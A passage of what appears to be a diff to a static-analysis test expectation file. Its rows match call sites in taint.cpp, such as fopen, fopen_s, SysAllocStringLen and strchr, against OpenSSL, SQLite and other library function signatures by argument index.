taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:782:7:782:11 | fopen | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:782:7:782:11 | fopen | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:782:7:782:11 | fopen | (STANZA *,const char *) | | test_start_file | 1 | +| taint.cpp:782:7:782:11 | fopen | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:782:7:782:11 | fopen | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:782:7:782:11 | fopen | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | Configcmp | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | DES_crypt | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | OPENSSL_strcasecmp | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | get_passwd | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | openssl_fopen | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | ossl_pem_check_suffix | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | ossl_v3_name_cmp | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | sqlite3_strglob | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | sqlite3_stricmp | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | test_mk_file_path | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | test_mk_file_path | 1 | +| taint.cpp:782:7:782:11 | fopen | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:782:7:782:11 | fopen | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:782:7:782:11 | fopen | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:782:7:782:11 | fopen | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (unsigned long *,const char *) | | set_name_ex | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (CTLOG **,const char *,const char *) | | CTLOG_new_from_base64 | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (CTLOG **,const char *,const char *) | | CTLOG_new_from_base64 | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (ENGINE *,const char *,const char *) | | make_engine_uri | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (ENGINE *,const char *,const char *) | | make_engine_uri | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (EVP_PKEY_CTX *,const char *,const char *) | | EVP_PKEY_CTX_ctrl_str | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (EVP_PKEY_CTX *,const char *,const char *) | | EVP_PKEY_CTX_ctrl_str | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (FFC_PARAMS *,const char *,const char *) | | ossl_ffc_set_digest | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (FFC_PARAMS *,const char *,const char *) | | ossl_ffc_set_digest | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (Jim_Interp *,Jim_Obj *,const char *) | | Jim_CompareStringImmediate | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (Jim_Interp *,const char *,const char *) | | Jim_SetVariableStrWithStr | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (Jim_Interp *,const char *,const char *) | | Jim_SetVariableStrWithStr | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *) | | ossl_cmp_msg_set0_libctx | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_DECODER *,void *,const char *) | | ossl_decoder_instance_new_forprov | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,EVP_PKEY *,const char *) | | EVP_PKEY_CTX_new_from_pkey | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,SSL_CTX *,const char *) | | ssl_ctx_add_large_cert_chain | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,const char *,const char *) | | EVP_PKEY_CTX_new_from_name | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,const char *,const char *) | | EVP_PKEY_CTX_new_from_name | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,const char *,const char *) | | ossl_slh_dsa_key_new | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,const char *,const char *) | | ossl_slh_dsa_key_new | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_NAMEMAP *,int,const char *) | | ossl_namemap_add_name | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_SELF_TEST *,const char *,const char *) | | OSSL_SELF_TEST_onbegin | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_SELF_TEST *,const char *,const char *) | | OSSL_SELF_TEST_onbegin | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (PROV_CTX *,const char *,const char *) | | ossl_prov_ctx_get_param | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (PROV_CTX *,const char *,const char *) | | ossl_prov_ctx_get_param | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (SRP_user_pwd *,const char *,const char *) | | SRP_user_pwd_set1_ids | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (SRP_user_pwd *,const char *,const char *) | | SRP_user_pwd_set1_ids | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (SSL_CONF_CTX *,const char *,const char *) | | SSL_CONF_cmd | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (SSL_CONF_CTX *,const char *,const char *) | | SSL_CONF_cmd | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (UI *,UI_STRING *,const char *) | | UI_set_result | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (UI *,const char *,const char *) | | UI_construct_prompt | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (UI *,const char *,const char *) | | UI_construct_prompt | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (X509 *,OSSL_LIB_CTX *,const char *) | | ossl_x509_set0_libctx | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_IA5STRING | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_UTF8STRING | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (X509_CRL *,OSSL_LIB_CTX *,const char *) | | ossl_x509_crl_set0_libctx | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (X509_REQ *,OSSL_LIB_CTX *,const char *) | | ossl_x509_req_set0_libctx | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_new_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_AuthEnvelopedData_create_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_create_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ossl_cms_DigestedData_create | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const OSSL_PARAM[],OSSL_LIB_CTX *,const char *) | | EC_GROUP_new_from_params | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *) | | ossl_property_find_property | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | EVP_PKCS82PKEY_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_from_pkcs8 | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_from_pkcs8 | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_rsa_key_from_pkcs8 | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_cert_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_crl_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const QUIC_TSERVER_ARGS *,const char *,const char *) | | ossl_quic_tserver_new | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (const QUIC_TSERVER_ARGS *,const char *,const char *) | | ossl_quic_tserver_new | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_param_from_x509_algor | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const char *,OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_read | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const char *,sqlite3_filename,const char *) | | sqlite3_uri_parameter | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (int,OSSL_LIB_CTX *,const char *) | | PKCS12_init_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (int,int,const char *) | | OSSL_CMP_STATUSINFO_new | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (lemon *,const char *,const char *) | | file_open | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (lemon *,const char *,const char *) | | file_open | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (sqlite3 *,const char *,const char *) | | sqlite3_recover_init | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (sqlite3 *,const char *,const char *) | | sqlite3_recover_init | 2 | +| taint.cpp:785:6:785:15 | fopen_test | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:785:6:785:15 | fopen_test | (char *) | | defossilize | 0 | +| taint.cpp:785:6:785:15 | fopen_test | (char *) | | make_uppercase | 0 | +| taint.cpp:785:6:785:15 | fopen_test | (char *) | | next_item | 0 | | taint.cpp:785:6:785:15 | fopen_test | (char *) | CStringT | CStringT | 0 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (ASN1_STRING *,unsigned int) | | ossl_asn1_string_set_bits_left | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (EC_KEY *,unsigned int) | | EC_KEY_set_enc_flags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (EVP_ENCODE_CTX *,unsigned int) | | evp_encode_ctx_set_flags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (FFC_PARAMS *,unsigned int) | | ossl_ffc_params_set_flags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (OSSL_PARAM *,unsigned int) | | OSSL_PARAM_set_uint | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (QUIC_DEMUX *,unsigned int) | | ossl_quic_demux_set_mtu | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (QUIC_OBJ *,unsigned int) | | ossl_quic_obj_set_blocking_mode | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (RAND_POOL *,unsigned int) | | ossl_rand_pool_bytes_needed | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (SSL *,unsigned int) | | SSL_set_hostflags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_clear_flags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_set_flags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (TS_RESP_CTX *,unsigned int) | | TS_RESP_CTX_set_clock_precision_digits | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (WPACKET *,unsigned int) | | WPACKET_set_flags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (X509_STORE_CTX *,unsigned int) | | X509_STORE_CTX_set_current_reasons | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (X509_VERIFY_PARAM *,unsigned int) | | X509_VERIFY_PARAM_set_hostflags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (char *,unsigned int) | | utf8_fromunicode | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (ASN1_STRING *,unsigned int) | | ossl_asn1_string_set_bits_left | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (EC_KEY *,unsigned int) | | EC_KEY_set_enc_flags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (EVP_ENCODE_CTX *,unsigned int) | | evp_encode_ctx_set_flags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (FFC_PARAMS *,unsigned int) | | ossl_ffc_params_set_flags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (OSSL_PARAM *,unsigned int) | | OSSL_PARAM_set_uint | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (QUIC_DEMUX *,unsigned int) | | ossl_quic_demux_set_mtu | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (QUIC_OBJ *,unsigned int) | | ossl_quic_obj_set_blocking_mode | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (RAND_POOL *,unsigned int) | | ossl_rand_pool_bytes_needed | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (SSL *,unsigned int) | | SSL_set_hostflags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_clear_flags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_set_flags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (TS_RESP_CTX *,unsigned int) | | TS_RESP_CTX_set_clock_precision_digits | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (WPACKET *,unsigned int) | | WPACKET_set_flags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (X509_STORE_CTX *,unsigned int) | | X509_STORE_CTX_set_current_reasons | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (X509_VERIFY_PARAM *,unsigned int) | | X509_VERIFY_PARAM_set_hostflags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (char *,unsigned int) | | utf8_fromunicode | 1 | +| taint.cpp:815:7:815:12 | strchr | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:815:7:815:12 | strchr | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:815:7:815:12 | strchr | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:815:7:815:12 | strchr | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:815:7:815:12 | strchr | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:815:7:815:12 | strchr | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:815:7:815:12 | strchr | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:815:7:815:12 | strchr | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:815:7:815:12 | strchr | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:815:7:815:12 | strchr | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:815:7:815:12 | strchr | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:815:7:815:12 | strchr | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:815:7:815:12 | strchr | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:815:7:815:12 | 